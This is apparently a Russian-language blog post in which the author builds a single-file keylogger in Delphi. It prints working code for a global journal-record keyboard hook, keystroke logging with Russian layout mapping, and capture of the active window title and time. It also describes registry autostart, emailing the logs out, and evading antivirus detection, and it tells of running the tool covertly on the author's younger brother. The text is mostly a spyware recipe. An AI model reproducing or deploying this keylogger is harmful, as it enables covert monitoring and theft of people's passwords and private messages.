Сижу я значит холодным декарбрьским вечером, в окно смотрю… на улице моросит дождик, вобщем идти на улицу воздухом дышать не вариант… Решил посерфить форумы, посмотреть чем народ живет… Наткнулся на одну тему, человечек бодро продавал кейлогер. Притом который шел одним файлом, без длл. «Интересно как это так????» — крутилась мысль… И надумал. Запустил делфи, потер руки и начал…
Глобальный хук без длл я решил сделать так:
обьявил глобальную переменную типа hhook

...
var
  Form1: TForm1;
  h:hhook;
...

Дальше побежал в процедуру создания формы и написал следующее

h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);

Дальше мой пропаленый мозг уже практически увидел весь код, допилил только мелочи

unhookwindowshookex(h);

При закрытии нашей формы вырубим хук.
А самый интересный кусок кода я написал так

function Proc(code:integer; wParam:WPARAM; lParam:LPARAM):lresult;stdcall;
var
c:array[0..255] of char;
s:string;f:file of char;
nScan:integer;
N_char,i,j:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
Inc(N_char);
with Form1 do
begin
if N_char = 40 then  // длина строки - 40 знаков
begin
Memo1.lines.Text:= Memo1.lines.Text + #10#13;  // перевод строки
N_char:= 0;
end;
if ord(c[1]) > 0 then  // признак служебных клавиш
begin
Memo1.lines.Text:= Memo1.lines.Text + ' ' + c + ' ';  // служебные клавиши выделяем пробелом
end
else
begin
if lang = false then // русская раскладка
begin
if ord(c[0]) in [65..90] then // диапазон клавиш с англ. символами
begin
for i:= 65 to 90 do
begin
if ord(c[0]) = i then begin j:= i - 65; BREAK; end;
end;
Memo1.lines.Text:= Memo1.lines.Text  + rus[j] // замена англ. симв. на русские
end
else Memo1.lines.Text:= Memo1.lines.Text + c; // рус.символы 'ъ,х,э,ж,ю,б,ё'
end
else Memo1.lines.Text:= Memo1.lines.Text + c;  // латин.символы при англ. раскладке
end;
end;
result:=callnexthookex(h,code,wparam,lparam);
end;
end;

Гениальный план в моей голове весь вырисовался. «Надо ж как то отчет получать… да и осмысленный..» решил я. Надо отлавливать окно и время когда я в него переключился.
Пару минут раздумий и вуаля

function GetWindowTitle(h:HWND):string;
var
  buf : array[0..255] of char;
begin
  GetWindowText(GetActiveWindow(), buf, 256);
  result:=buf;
end;

Function GetDateTime:string;
var
DT : TSystemTime;
Date,Time: array[0..32]of char;
begin
GetLocalTime(DT);
GetDateFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Date,sizeOf(Date));
GetTimeFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Time,sizeOf(Time));
Result:= date + ' | ' + time;
end;

дописав автозагрузку через реестр, я решил что оно то ловит, но не то. Русских букв нету!
Ввел глобальную переменную, массив символов.

rus: array[0..25] of char = ('ф','и','с','в','у','а','п','р','ш','о','л','д',
                               'ь','т','щ','з','й','к','ы','е','г','м','ц','ч','н','я');

Неплохо бы еще и раскладку клавы отловить.

procedure TForm1.Timer2Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
 ActiveWindow:=GetForegroundWindow;
if ActiveWindow<>fw then 
begin
fw:=ActiveWindow;
Memo1.Lines.Add(GetWindowTitle(fw)+GetDateTime);
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
lang:= true  //английская
else
lang:= false; // русская
end;
end;

Дальше замутил отправку на мыло при помощи indy (кто скажет что 9 инди глючная — смело бросайте камень в того :-) )

Допилив мелочи, я расстроился. Каспер палил одну строчку кода — копирование кейлогера в системную папку. Разбираться было лень, я решил протестить на младшем брате. запустил софтинку и пошел гулять. Пришел домой посмотрел мыло и ухмыльнулся «Работает однака!» Почитал лог, был доволен:)